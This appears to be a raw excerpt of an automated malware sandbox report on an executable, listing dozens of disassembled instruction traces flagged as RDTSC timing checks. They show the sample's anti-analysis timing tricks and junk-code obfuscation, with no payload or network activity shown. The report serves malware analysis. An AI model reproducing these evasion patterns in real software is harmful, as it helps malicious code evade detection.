Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C79D5 second address: 9C7A3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED132BA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007FDFED132BA2h 0x00000011 jns 00007FDFED132BA8h 0x00000017 jmp 00007FDFED132BA2h 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDFED132BA6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C7B1E second address: 9C7B31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007FDFEC77A6B6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C7CC4 second address: 9C7CD6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDFED132B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C7EE1 second address: 9C7EFC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FDFEC77A6BDh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C7FEE second address: 9C7FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C8636 second address: 9C8656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 js 00007FDFEC77A6B6h 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], ebx 0x00000013 push eax 0x00000014 and edi, 37EF2786h 0x0000001a pop esi 0x0000001b push eax 0x0000001c push eax 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C88A4 second address: 9C88AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C88AA second address: 9C88AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C89C7 second address: 9C89CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C89CB second address: 9C89CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C8B82 second address: 9C8B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C923C second address: 9C924F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDFEC77A6B6h 0x0000000a popad 0x0000000b jbe 00007FDFEC77A6BCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C924F second address: 9C9259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C9259 second address: 9C9266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007FDFEC77A6BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9C99BD second address: 9C99C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9CCC45 second address: 9CCCA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFEC77A6C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FDFEC77A6B8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 call 00007FDFEC77A6BAh 0x0000002d mov esi, dword ptr [ebp+122DB11Ah] 0x00000033 pop esi 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+12448315h], ecx 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9CE33C second address: 9CE3BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED132BA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FDFED132B98h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007FDFED132B98h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 mov esi, dword ptr [ebp+122D29E6h] 0x00000047 push 00000000h 0x00000049 sub dword ptr [ebp+122D17D3h], edi 0x0000004f xchg eax, ebx 0x00000050 jno 00007FDFED132B9Eh 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9CE3BD second address: 9CE3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D075B second address: 9D075F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D075F second address: 9D0765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D0DF2 second address: 9D0DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D0DF6 second address: 9D0E00 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDFEC77A6B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9CE0B6 second address: 9CE0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FDFED132BA8h 0x00000011 jmp 00007FDFED132BA2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D30DF second address: 9D30E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D35F7 second address: 9D35FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D35FB second address: 9D3609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D37AB second address: 9D37B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D5595 second address: 9D55C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDFEC77A6C9h 0x00000008 js 00007FDFEC77A6B6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 jne 00007FDFEC77A6B6h 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D37B2 second address: 9D3856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, edx 0x0000000c pushad 0x0000000d xor dword ptr [ebp+122D1C10h], edi 0x00000013 cld 0x00000014 popad 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov di, cx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 sub edi, dword ptr [ebp+122D2A5Eh] 0x0000002c mov eax, dword ptr [ebp+122D12B1h] 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007FDFED132B98h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c jmp 00007FDFED132BA7h 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push ebp 0x00000056 call 00007FDFED132B98h 0x0000005b pop ebp 0x0000005c mov dword ptr [esp+04h], ebp 0x00000060 add dword ptr [esp+04h], 0000001Ch 0x00000068 inc ebp 0x00000069 push ebp 0x0000006a ret 0x0000006b pop ebp 0x0000006c ret 0x0000006d and ebx, 4E6DB877h 0x00000073 push eax 0x00000074 js 00007FDFED132BA8h 0x0000007a push eax 0x0000007b push edx 0x0000007c jnc 00007FDFED132B96h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D4767 second address: 9D478E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFEC77A6BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnp 00007FDFEC77A6B8h 0x00000011 pushad 0x00000012 jmp 00007FDFEC77A6BBh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D55C5 second address: 9D564B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FDFED132B96h 0x00000009 js 00007FDFED132B96h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 call 00007FDFED132B9Ch 0x00000018 mov di, 44F1h 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 call 00007FDFED132B98h 0x00000029 pop esi 0x0000002a mov dword ptr [esp+04h], esi 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc esi 0x00000037 push esi 0x00000038 ret 0x00000039 pop esi 0x0000003a ret 0x0000003b call 00007FDFED132BA0h 0x00000040 jmp 00007FDFED132BA7h 0x00000045 pop edi 0x00000046 mov ebx, dword ptr [ebp+122D1AF2h] 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f jns 00007FDFED132B9Ch 0x00000055 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D564B second address: 9D5650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D5650 second address: 9D5656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D65EA second address: 9D660A instructions: 0x00000000 rdtsc 0x00000002 je 00007FDFECF67A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDFECF67A70h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D583C second address: 9D5842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D660A second address: 9D660E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D660E second address: 9D6614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D6614 second address: 9D6619 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D7533 second address: 9D7537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D7537 second address: 9D753B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D753B second address: 9D7588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bx, 56D6h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FDFED133C48h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov di, bx 0x0000002f xchg eax, esi 0x00000030 jnc 00007FDFED133C4Ah 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jc 00007FDFED133C48h 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D9623 second address: 9D9627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9D985A second address: 9D985E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9DB8C2 second address: 9DB8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9DC8A7 second address: 9DC8AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9DCAD0 second address: 9DCAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9E1986 second address: 9E198C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9E198C second address: 9E1991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9E1991 second address: 9E19A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007FDFED133C46h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9E2AE2 second address: 9E2AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9E2AE6 second address: 9E2AF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007FDFED133C4Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9E2AF8 second address: 9E2AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 97FFDD second address: 97FFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 97FFE3 second address: 97FFE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 97FFE7 second address: 97FFEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 97FFEC second address: 98000B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFECF67A79h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98000B second address: 980027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 popad 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 980027 second address: 98002C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98002C second address: 980031 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9EE1ED second address: 9EE215 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFECF67A6Ch 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 je 00007FDFECF67A8Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007FDFECF67A66h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 990C9E second address: 990CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 990CA2 second address: 990CAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 990CAD second address: 990CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDFED133C51h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 990CC7 second address: 990CCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9ED984 second address: 9ED98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9ED98A second address: 9ED98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9ED98F second address: 9ED99A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FDFED133C46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9EDB10 second address: 9EDB1A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDFECF67A66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9EDB1A second address: 9EDB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9F21E9 second address: 9F21EE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9F22A7 second address: 9F22AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9F22AB second address: 9F22AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9F22AF second address: 9F22EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FDFED133C57h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 jng 00007FDFED133C55h 0x00000017 jmp 00007FDFED133C4Fh 0x0000001c pop ebx 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9F47E8 second address: 9F47EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 98A1B2 second address: 98A1C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDFED133C50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9FA927 second address: 9FA934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDFECF67A66h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9FA934 second address: 9FA93F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9F95D7 second address: 9F95DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9F95DB second address: 9F95FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FDFED133C57h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9F95FB second address: 9F9601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9FA38F second address: 9FA394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ET3Sc57mx4.exe	RDTSC instruction interceptor: First address: 9FA7B0 second address: 9FA7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jg 00007FDFECF67A66h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
